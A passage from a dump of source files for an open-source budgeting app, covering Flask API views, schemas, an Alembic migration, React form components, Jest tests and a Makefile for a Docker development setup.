0\n for detail in args[\"details\"]:\n amount += detail[\"amount\"]\n else:\n amount = args[\"amount\"]\n\n if amount == 0:\n raise BadRequest(\"Amount cannot be zero\")\n\n new_expense = BudgetAnnualExpenseModel(\n budget_id=budget_id,\n envelope_id=envelope.id,\n name=args[\"name\"],\n amount=amount,\n created=now,\n last_updated=now,\n )\n\n for period, detail in enumerate(args[\"details\"]):\n new_detail = BudgetAnnualExpenseDetailModel(\n name=detail[\"name\"],\n amount=detail[\"amount\"],\n period=period,\n )\n db.session.add(new_detail)\n new_expense.details.append(new_detail)\n\n new_expense.save()\n return {\"id\": int(new_expense.id)}, 201\n\n @staticmethod\n @use_args(annual_expense_schema)\n def put(args: Dict[str, Any], expense_id: int):\n \"\"\" Modifies a specific periodic expense \"\"\"\n expense = BudgetAnnualExpenseModel.query.get_or_404(expense_id)\n\n budget = BudgetModel.query.get_or_404(expense.budget_id)\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n\n if category.ledger_id != budget.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n if args[\"details\"]:\n num_new_details = len(args[\"details\"])\n if num_new_details != budget.periods:\n raise BadRequest(\"Wrong number of period details\")\n\n num_old_details = len(expense.details)\n if num_old_details != num_new_details:\n raise BadRequest(\"Wrong number of period details\")\n\n amount = 0\n for period, detail in enumerate(args[\"details\"]):\n amount += detail[\"amount\"]\n expense.details[period].name = detail[\"name\"]\n expense.details[period].amount = detail[\"amount\"]\n else:\n amount = args[\"amount\"]\n\n if amount == 0:\n raise BadRequest(\"Amount cannot be zero\")\n\n expense.envelope_id = envelope.id\n expense.name = args[\"name\"]\n expense.amount = amount\n\n expense.last_updated = datetime.now()\n expense.save()\n return {}, 200\n\n @staticmethod\n def delete(expense_id: int):\n \"\"\" Deletes a specific annual expense \"\"\"\n expense = BudgetAnnualExpenseModel.query.get_or_404(expense_id)\n expense.delete()\n return {}, 204\n" }, { "alpha_fraction": 0.675000011920929, "alphanum_fraction": 0.675000011920929, "avg_line_length": 39, "blob_id": "5eca6ad4cc805b23f618d2f7e8ca3892102a5e8e", "content_id": "e139f1758e4901732c01fe28d2aca9ea6dea8a55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 40, "license_type": "permissive", "max_line_length": 39, "num_lines": 1, "path": "/webapp/src/common/components/FullAppBar/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './FullAppBar';\n" }, { "alpha_fraction": 0.630630612373352, "alphanum_fraction": 0.6313813924789429, "avg_line_length": 25.639999389648438, "blob_id": "3a2cf675511f5df344b56bd839e9d2d9b2e4d035", "content_id": "11e534586684488d6a1512ceff5eb8b5cfc4d6b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1332, "license_type": "permissive", "max_line_length": 69, "num_lines": 50, "path": "/webapp/src/features/budgets/components/ExpenseDetailsSwitch.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import FormControlLabel from '@material-ui/core/FormControlLabel';\nimport Switch from '@material-ui/core/Switch';\nimport { useFormikContext } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport ExpenseDetails from './ExpenseDetails';\n\nconst ExpenseDetailsSwitch = ({ disableDetailsSwitch, periods }) => {\n const { setFieldValue, values } = useFormikContext();\n\n const hasDetails = values.details.length !== 0;\n\n const handleChangeDetails = () => {\n if (hasDetails) {\n setFieldValue('details', []);\n } else {\n const detailAmount = Math.floor(values.amount / periods);\n const details = [...Array(periods)].map(() => ({\n name: '',\n amount: detailAmount,\n }));\n setFieldValue('details', details);\n }\n };\n\n return (\n <>\n <FormControlLabel\n control={\n <Switch\n checked={hasDetails}\n color='primary'\n disabled={disableDetailsSwitch}\n onChange={handleChangeDetails}\n />\n }\n label='Use period-specific amounts'\n />\n {hasDetails && <ExpenseDetails periods={periods} />}\n </>\n );\n};\n\nExpenseDetailsSwitch.propTypes = {\n disableDetailsSwitch: PropTypes.bool.isRequired,\n periods: PropTypes.number.isRequired,\n};\n\nexport default ExpenseDetailsSwitch;\n" }, { "alpha_fraction": 0.6853605508804321, "alphanum_fraction": 0.6860888600349426, "avg_line_length": 29.511110305786133, "blob_id": "d4342292f140ba82bbdcc31b636ae759b41c1e6a", "content_id": "e4242b34134ba022ebdb7b55b1d7a43a4669db9d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1373, "license_type": "permissive", "max_line_length": 77, "num_lines": 45, "path": "/webapp/src/features/accounts/components/AccountCategoryActionsButton.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport MoreActionsButton from 'common/components/MoreActionsButton';\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useDeleteAccountCategory from '../hooks/useDeleteAccountCategory';\nimport AccountCategoryPropTypes from '../utils/account-category-prop-types';\n\nconst AccountCategoryActionsButton = ({ category }) => {\n const navigate = useNavigateKeepingSearch();\n const confirm = useConfirmation();\n const { mutate } = useDeleteAccountCategory();\n const handleDelete = () =>\n confirm({\n message: [\n `Delete account category ${category.name}?`,\n 'This action is permanent and cannot be undone.',\n ],\n }).then(() => {\n mutate(category.id);\n });\n\n const actions = [\n {\n 'aria-label': 'Modify account category',\n icon: null,\n onClick: () => navigate(`modify-category/${category.id}`),\n text: 'Modify',\n },\n {\n 'aria-label': 'Delete account category',\n disabled: category.accounts.length > 0,\n icon: null,\n onClick: handleDelete,\n text: 'Delete',\n },\n ];\n return <MoreActionsButton actions={actions} />;\n};\n\nAccountCategoryActionsButton.propTypes = {\n category: AccountCategoryPropTypes.isRequired,\n};\n\nexport default AccountCategoryActionsButton;\n" }, { "alpha_fraction": 0.6993464231491089, "alphanum_fraction": 0.7069717049598694, "avg_line_length": 26, "blob_id": "ec5fa61216d15c32fac16bac5583d03f8e4609f8", "content_id": "5e6fa4756e82cceb905e63fabea2d38d6bd2a703", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 918, "license_type": "permissive", "max_line_length": 84, "num_lines": 34, "path": "/webapp/src/common/components/AppPage/AppPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import * as faker from 'faker';\nimport React from 'react';\n\nimport { DrawerContextProvider } from '../../contexts/drawer';\nimport { TopLevelPageAppBar } from '../AppBar';\nimport AppPage from './AppPage';\n\nexport default {\n title: 'common/AppPage',\n component: AppPage,\n decorators: [(story) => <DrawerContextProvider>{story()}</DrawerContextProvider>],\n};\n\nconst Template = (args) => <AppPage {...args} />;\n\nexport const Desktop = Template.bind({});\nDesktop.args = {\n appBar: <TopLevelPageAppBar />,\n children: faker.lorem.paragraphs(100),\n};\n\nexport const Mobile = Template.bind({});\nMobile.args = Desktop.args;\nMobile.parameters = {\n viewport: { defaultViewport: 'mobile1' },\n};\n\nexport const ProminentAppBar = Template.bind({});\nProminentAppBar.args = {\n appBar: <TopLevelPageAppBar prominent />,\n children: faker.lorem.paragraphs(100),\n prominent: true,\n};\nProminentAppBar.parameters = Mobile.parameters;\n" }, { "alpha_fraction": 0.6871508359909058, "alphanum_fraction": 0.6899441480636597, "avg_line_length": 30.130434036254883, "blob_id": "98bca3ffa722861fd30f783458ba4557b92b916b", "content_id": "234894ae36cdce73efd681dadd12227493686b2b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 716, "license_type": "permissive", "max_line_length": 74, "num_lines": 23, "path": "/backend/underbudget/schemas/ledger.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Ledger schema \"\"\"\nfrom marshmallow import Schema, fields, validate\n\n\nclass LedgerSchema(Schema):\n \"\"\" Ledger schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n currency = fields.Integer(\n strict=True, required=True, validate=validate.Range(min=1)\n )\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass LedgersPageSchema(Schema):\n \"\"\" Paginated ledgers schema \"\"\"\n\n items = fields.List(fields.Nested(LedgerSchema), data_key=\"ledgers\")\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n" }, { "alpha_fraction": 0.5702875256538391, "alphanum_fraction": 0.5814696550369263, "avg_line_length": 30.696203231811523, "blob_id": "f67d16457df47caa2d9f6c94f08f91f6d296940e", "content_id": "54410666d963326cb919a0430cff41075b9569b5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2504, "license_type": "permissive", "max_line_length": 84, "num_lines": 79, "path": "/backend/underbudget/common/filter_params.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Utilities to split query parameters into search/filter parameters \"\"\"\nfrom typing import Any, Callable, Dict\n\n\ndef split_bool(param: Any) -> Dict[str, Any]:\n \"\"\" Split query parameter into filter-bool parameters \"\"\"\n if not param:\n return {}\n if type(param) == bool:\n return dict(value=param)\n value = param.lower() in [\"true\", \"yes\", \"on\", \"1\"]\n return dict(value=value)\n\n\ndef split_comp(param: Any, convert: Callable[[str], Any] = str) -> Dict[str, Any]:\n \"\"\" Split query parameter into filter-comp parameters \"\"\"\n if not param:\n return {}\n if type(param) != str:\n return dict(value=param)\n if \":\" not in param:\n return dict(value=convert(param))\n\n # param = (not:)(oper:)value(:upper)\n parts = param.split(\":\")\n count = len(parts)\n negate = parts[0] == \"not\"\n\n if count >= 4:\n return dict(\n negate=negate,\n oper=parts[1],\n value=convert(parts[2]),\n upper=convert(parts[3]),\n )\n elif count == 3:\n if negate:\n return dict(negate=negate, oper=parts[1], value=convert(parts[2]))\n return dict(oper=parts[0], value=convert(parts[1]), upper=convert(parts[2]))\n # else count == 2 (and can't be 1)\n elif negate:\n return dict(negate=negate, value=convert(parts[1]))\n return dict(oper=parts[0], value=convert(parts[1]))\n\n\ndef split_in(param: Any, convert: Callable[[str], Any] = str) -> Dict[str, Any]:\n \"\"\" Split query parameter into filter-in parameters \"\"\"\n if not param:\n return {}\n if type(param) != str:\n return dict(values=[param])\n if param == \"is:null\":\n return dict(is_null=True)\n if \":\" not in param:\n return dict(values=list(map(convert, param.split(\",\"))))\n parts = param.split(\":\")\n return dict(\n negate=(parts[0] == \"not\"), values=list(map(convert, parts[1].split(\",\")))\n )\n\n\ndef split_str(param: Any) -> Dict[str, Any]:\n \"\"\" Split query parameter into filter-str parameters \"\"\"\n if not param or type(param) != str:\n return {}\n if \":\" not in param:\n return dict(value=param)\n\n # param = (not:)(oper:)value\n parts = param.split(\":\")\n count = len(parts)\n negate = parts[0] == \"not\"\n\n if count >= 3:\n return dict(negate=negate, oper=parts[1], value=parts[2])\n # else count == 2 (and can't be 1)\n elif negate:\n return dict(negate=negate, value=parts[1])\n return dict(oper=parts[0], value=parts[1])\n" }, { "alpha_fraction": 0.746268630027771, "alphanum_fraction": 0.7494669556617737, "avg_line_length": 30.266666412353516, "blob_id": "2fb1b670ef78f6917c90d688f19d6d19b9472fb5", "content_id": "d6848807d881d8b25ad45b014400326774edef97", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 938, "license_type": "permissive", "max_line_length": 135, "num_lines": 30, "path": "/Makefile", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "DEV_PROJECT_NAME=underbudget4-dev\nTEST_ARGS=\n\n.PHONY: dev-up dev-build dev-down dev-ps api-test\n\ndev-up:\n\tCOMPOSE_DOCKER_CLI_BUILD=1 docker-compose -p $(DEV_PROJECT_NAME) -f docker-compose.dev.yml up -d\n\ndev-build:\n\tCOMPOSE_DOCKER_CLI_BUILD=1 docker-compose -p $(DEV_PROJECT_NAME) -f docker-compose.dev.yml build\n\ndev-down:\n\tdocker-compose -p $(DEV_PROJECT_NAME) -f docker-compose.dev.yml down\n\ndev-ps:\n\tdocker-compose -p $(DEV_PROJECT_NAME) -f docker-compose.dev.yml ps\n\ndev-db-upgrade:\n\tdocker exec underbudget-dev-api flask db upgrade\n\ndev-db-rebuild:\n\tdocker exec underbudget-dev-db psql -U postgres -c \\\n\t\t'DROP SCHEMA \"public\" CASCADE; CREATE SCHEMA \"public\"; GRANT ALL ON SCHEMA public TO postgres; GRANT ALL ON SCHEMA public TO public;'\n\tdocker exec underbudget-dev-api flask db upgrade\n\ndev-db-migrate:\n\tdocker exec underbudget-dev-api flask db migrate -m \"$(MSG)\"\n\napi-test:\n\tdocker exec underbudget-dev-api pytest $(TEST_ARGS)\n" }, { "alpha_fraction": 0.6449304223060608, "alphanum_fraction": 0.6449304223060608, "avg_line_length": 26.94444465637207, "blob_id": "0fc850901eb11cd46ba77ae86a61d1df244f8180", "content_id": "4f9befd42f4ac96781fe008cb3588dd5586c0c51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2515, "license_type": "permissive", "max_line_length": 80, "num_lines": 90, "path": "/webapp/src/common/components/EntitySelectField/EntitySelectField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "// Disable rule because this is a generic component\n/* eslint-disable react/jsx-props-no-spreading */\n\nimport TextField from '@material-ui/core/TextField';\nimport Autocomplete from '@material-ui/lab/Autocomplete';\nimport { getIn } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst EntitySelectField = ({\n autoCompleteProps,\n disabled,\n entities,\n helperText,\n field: { onBlur, name, value },\n form: { errors, isSubmitting, setFieldValue, touched, validateForm },\n ...props\n}) => {\n const errorText = getIn(errors, name);\n const showError = getIn(touched, name) && !!errorText;\n\n const selected = entities.find((e) => e.id === value) || null;\n\n const handleChange = (_, v) => {\n if (typeof v === 'string') {\n const entity = entities.find((e) => e.name === v);\n setFieldValue(name, entity ? entity.id : value);\n } else {\n setFieldValue(name, v ? v.id : value);\n }\n };\n\n React.useEffect(validateForm, [value]);\n\n return (\n <Autocomplete\n {...autoCompleteProps}\n autoSelect\n disabled={disabled || isSubmitting}\n getOptionLabel={(o) => (o ? o.name : '')}\n getOptionSelected={(opt, val) => opt.id === val.id}\n options={entities}\n renderInput={(params) => (\n <TextField\n error={showError}\n helperText={showError ? errorText : helperText}\n name={name}\n onBlur={onBlur}\n {...params}\n {...props}\n />\n )}\n onChange={handleChange}\n onInputChange={(e) => e && handleChange(e, e.target.value)}\n value={selected}\n />\n );\n};\n\nEntitySelectField.propTypes = {\n autoCompleteProps: PropTypes.shape({}),\n disabled: PropTypes.bool,\n entities: PropTypes.arrayOf(\n PropTypes.shape({\n id: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n name: PropTypes.string.isRequired,\n }),\n ).isRequired,\n field: PropTypes.shape({\n name: PropTypes.string.isRequired,\n onBlur: PropTypes.func,\n value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n }).isRequired,\n form: PropTypes.shape({\n errors: PropTypes.shape({}),\n isSubmitting: PropTypes.bool,\n setFieldValue: PropTypes.func.isRequired,\n touched: PropTypes.shape({}),\n validateForm: PropTypes.func.isRequired,\n }).isRequired,\n helperText: PropTypes.string,\n};\n\nEntitySelectField.defaultProps = {\n autoCompleteProps: null,\n disabled: false,\n helperText: null,\n};\n\nexport default EntitySelectField;\n" }, { "alpha_fraction": 0.6676573753356934, "alphanum_fraction": 0.6779248714447021, "avg_line_length": 35.2843132019043, "blob_id": "b876e6d6f6ddb76267e803de2e1dbb93b6fb8292", "content_id": "f04b40626d0619c60541fd3bf27a157ffd1c62a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3701, "license_type": "permissive", "max_line_length": 97, "num_lines": 102, "path": "/webapp/src/features/budgets/routes/__tests__/BudgetIncomesPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport BudgetIncomesPage from '../BudgetIncomesPage';\n\nconst render = (route = '/budget/5/incomes') => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet('/api/budgets/5').reply(200, { name: 'My Budget' });\n mockApi.onGet('/api/budgets/5/periodic-incomes').reply(200, {\n incomes: [{ id: 3, name: 'My Income', amount: 123456 }],\n });\n mockApi.onGet('/api/budget-periodic-incomes/3').reply(200, {\n name: 'My Income',\n amount: 123456,\n });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/budget/:id/incomes/*' element={<BudgetIncomesPage />} />\n </Routes>\n </QueryClientProvider>,\n { route },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should display create-periodic dialog if initial route matches', async () => {\n const { history } = render('/budget/5/incomes/create-periodic');\n expect(screen.getByRole('heading', { name: /create periodic income/i })).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/budget/5/incomes'));\n expect(\n screen.queryByRole('heading', { name: /create periodic income/i }),\n ).not.toBeInTheDocument();\n});\n\ntest('should display modify-periodic dialog if initial route matches', async () => {\n const { history } = render('/budget/5/incomes/modify-periodic/7');\n expect(screen.getByRole('heading', { name: /modify periodic income/i })).toBeInTheDocument();\n\n await waitFor(() => expect(history.location.pathname).toBe('/budget/5/incomes'));\n expect(\n screen.queryByRole('heading', { name: /modify periodic income/i }),\n ).not.toBeInTheDocument();\n});\n\ntest('should open create dialog when using nav bar action', async () => {\n const { history } = render();\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: 'My Budget Incomes' })).toBeInTheDocument(),\n );\n\n // Make sure no dialogs open initially\n expect(screen.queryAllByRole('heading')).toHaveLength(1);\n expect(screen.queryByRole('dialog')).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /create periodic income/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /create periodic income/i })).toBeInTheDocument(),\n );\n expect(history.location.pathname).toBe('/budget/5/incomes/create-periodic');\n});\n\ntest('should open modify dialog using list action', async () => {\n const { history } = render();\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: 'My Budget Incomes' })).toBeInTheDocument(),\n );\n\n // Make sure no dialogs open initially\n expect(screen.queryAllByRole('heading')).toHaveLength(1);\n expect(screen.queryByRole('dialog')).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /My Income/ }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify periodic income/i })).toBeInTheDocument(),\n );\n expect(history.location.pathname).toBe('/budget/5/incomes/modify-periodic/3');\n});\n" }, { "alpha_fraction": 0.6451855301856995, "alphanum_fraction": 0.6619859337806702, "avg_line_length": 40.54166793823242, "blob_id": "81e58706208ac76b1ce8cd343df5a480b5ac9657", "content_id": "73543d4d2b7614aa8d88d77da14af2bb756261b5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3988, "license_type": "permissive", "max_line_length": 82, "num_lines": 96, "path": "/backend/migrations/versions/4b585a442fb5_add_budget_tables.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\"Add budget tables\n\nRevision ID: 4b585a442fb5\nRevises: bb38a05f5353\nCreate Date: 2021-07-20 11:57:06.311817\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4b585a442fb5'\ndown_revision = 'bb38a05f5353'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('budget',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ledger_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('periods', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['ledger_id'], ['ledger.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('active_budget',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ledger_id', sa.Integer(), nullable=False),\n sa.Column('budget_id', sa.Integer(), nullable=False),\n sa.Column('year', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['budget_id'], ['budget.id'], ),\n sa.ForeignKeyConstraint(['ledger_id'], ['ledger.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('budget_periodic_income',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('budget_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['budget_id'], ['budget.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('budget_annual_expense',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('budget_id', sa.Integer(), nullable=False),\n sa.Column('envelope_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['budget_id'], ['budget.id'], ),\n sa.ForeignKeyConstraint(['envelope_id'], ['envelope.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('budget_periodic_expense',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('budget_id', sa.Integer(), nullable=False),\n sa.Column('envelope_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['budget_id'], ['budget.id'], ),\n sa.ForeignKeyConstraint(['envelope_id'], ['envelope.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('budget_annual_expense_detail',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('annual_budget_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.Column('period', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['annual_budget_id'], ['budget_annual_expense.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('budget_annual_expense_detail')\n op.drop_table('budget_periodic_expense')\n op.drop_table('budget_annual_expense')\n op.drop_table('budget_periodic_income')\n op.drop_table('active_budget')\n op.drop_table('budget')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6229158043861389, "alphanum_fraction": 0.6297563314437866, "avg_line_length": 28.607595443725586, "blob_id": "ed48613b110c0931a72617c146004ca534f7dbc1", "content_id": "fab2224d1a1af55910ca88ee6cbba144609f6f48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2339, "license_type": "permissive", "max_line_length": 72, "num_lines": 79, "path": "/webapp/src/features/transactions/components/TransactionForm/AccountSplit.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport Grid from '@material-ui/core/Grid';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport { Field } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nimport CheckboxWithTooltip from 'common/components/CheckboxWithTooltip';\nimport FieldWithSideEffect from 'common/components/FieldWithSideEffect';\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport { AccountSelectField } from 'features/accounts';\n\nimport useAccountAmountSideEffect from './useAccountAmountSideEffect';\n\nconst AccountSplit = ({ disableRemove, index, onRemove }) => (\n <>\n <Grid item md={4} sm={6} xs={12}>\n <Field\n component={AccountSelectField}\n fullWidth\n id={`account-id-${index}`}\n label='Account'\n margin='dense'\n name={`accountTransactions[${index}].accountId`}\n variant='outlined'\n />\n </Grid>\n <Grid item md={4} sm={6} xs={12}>\n <Field\n component={TextField}\n fullWidth\n id={`account-memo-${index}`}\n label='Memo'\n margin='dense'\n name={`accountTransactions[${index}].memo`}\n variant='outlined'\n />\n </Grid>\n <Grid item md={3} sm={6} xs={12}>\n <Field\n component={FieldWithSideEffect}\n FieldComponent={MoneyInputField}\n fullWidth\n id={`account-amount-${index}`}\n label='Amount'\n margin='dense'\n name={`accountTransactions[${index}].amount`}\n sideEffect={useAccountAmountSideEffect(index)}\n variant='outlined'\n />\n </Grid>\n <Grid container item md={1} sm={6} xs={12}>\n <Field\n component={CheckboxWithTooltip}\n id={`account-cleared-${index}`}\n name={`accountTransactions[${index}].cleared`}\n title='Is cleared?'\n type='checkbox'\n />\n <IconButton\n aria-label='Delete account split'\n disabled={disableRemove}\n onClick={onRemove}\n style={{ marginLeft: 'auto' }}\n >\n <DeleteIcon />\n </IconButton>\n </Grid>\n </>\n);\n\nAccountSplit.propTypes = {\n disableRemove: PropTypes.bool.isRequired,\n index: PropTypes.number.isRequired,\n onRemove: PropTypes.func.isRequired,\n};\n\nexport default AccountSplit;\n" }, { "alpha_fraction": 0.6647872924804688, "alphanum_fraction": 0.6678626537322998, "avg_line_length": 32.63793182373047, "blob_id": "a205c87b4d4558a3568d819762e25b70cedcaf75", "content_id": "53a51652d24a7cac80d237fe5b10fd1498def0fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1951, "license_type": "permissive", "max_line_length": 80, "num_lines": 58, "path": "/backend/underbudget/views/balances.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Balance REST view \"\"\"\nfrom datetime import date\nfrom typing import Any, Dict\nfrom flask import Flask\nfrom flask.views import MethodView\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.models.account import AccountModel\nfrom underbudget.models.balance import AccountBalanceModel, EnvelopeBalanceModel\nfrom underbudget.models.envelope import EnvelopeModel\nfrom underbudget.schemas.balance import BalanceQuerySchema\n\n\nbalance_query_schema = BalanceQuerySchema()\n\n\nclass AccountBalancesView(MethodView):\n \"\"\" Account balance REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"account-balances\")\n app.add_url_rule(\n \"/api/accounts/<int:account_id>/balance\",\n view_func=view,\n methods=[\"GET\"],\n )\n\n @staticmethod\n @use_args(balance_query_schema, location=\"query\")\n def get(args: Dict[str, Any], account_id: int):\n \"\"\" Gets balance for an account \"\"\"\n AccountModel.query.get_or_404(account_id)\n request_date = args.get(\"date\", date.today())\n return AccountBalanceModel.get_balance(account_id, request_date)\n\n\nclass EnvelopeBalancesView(MethodView):\n \"\"\" Envelope balance REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"envelope-balances\")\n app.add_url_rule(\n \"/api/envelopes/<int:envelope_id>/balance\",\n view_func=view,\n methods=[\"GET\"],\n )\n\n @staticmethod\n @use_args(balance_query_schema, location=\"query\")\n def get(args: Dict[str, Any], envelope_id: int):\n \"\"\" Gets balance for an envelope \"\"\"\n EnvelopeModel.query.get_or_404(envelope_id)\n request_date = args.get(\"date\", date.today())\n return EnvelopeBalanceModel.get_balance(envelope_id, request_date)\n" }, { "alpha_fraction": 0.6445931196212769, "alphanum_fraction": 0.648430585861206, "avg_line_length": 33.924400329589844, "blob_id": "fd8ddfa3662fc988d1a1775bbed9c513b12a3c78", "content_id": "67bfc28a561a656b05a533343a0ae7ce99336de6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 10163, "license_type": "permissive", "max_line_length": 114, "num_lines": 291, "path": "/webapp/src/common/components/FormDialog/FormDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render as baseRender, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport { Field } from 'formik';\nimport { createMemoryHistory } from 'history';\nimport React from 'react';\nimport { Router } from 'react-router-dom';\nimport * as yup from 'yup';\n\nimport createMediaQuery from '../../../test/createMediaQuery';\nimport { ConfirmationContextProvider } from '../../contexts/confirmation';\nimport FormDialog from './FormDialog';\n\nconst Form = () => <Field name='fieldName' />;\n\nconst render = (ui, { route = '/', width = '800px' } = {}) => {\n const history = createMemoryHistory({ initialEntries: [route] });\n const Wrapper = ({ children }) => (\n <Router action={history.action} location={history.location} navigator={history}>\n 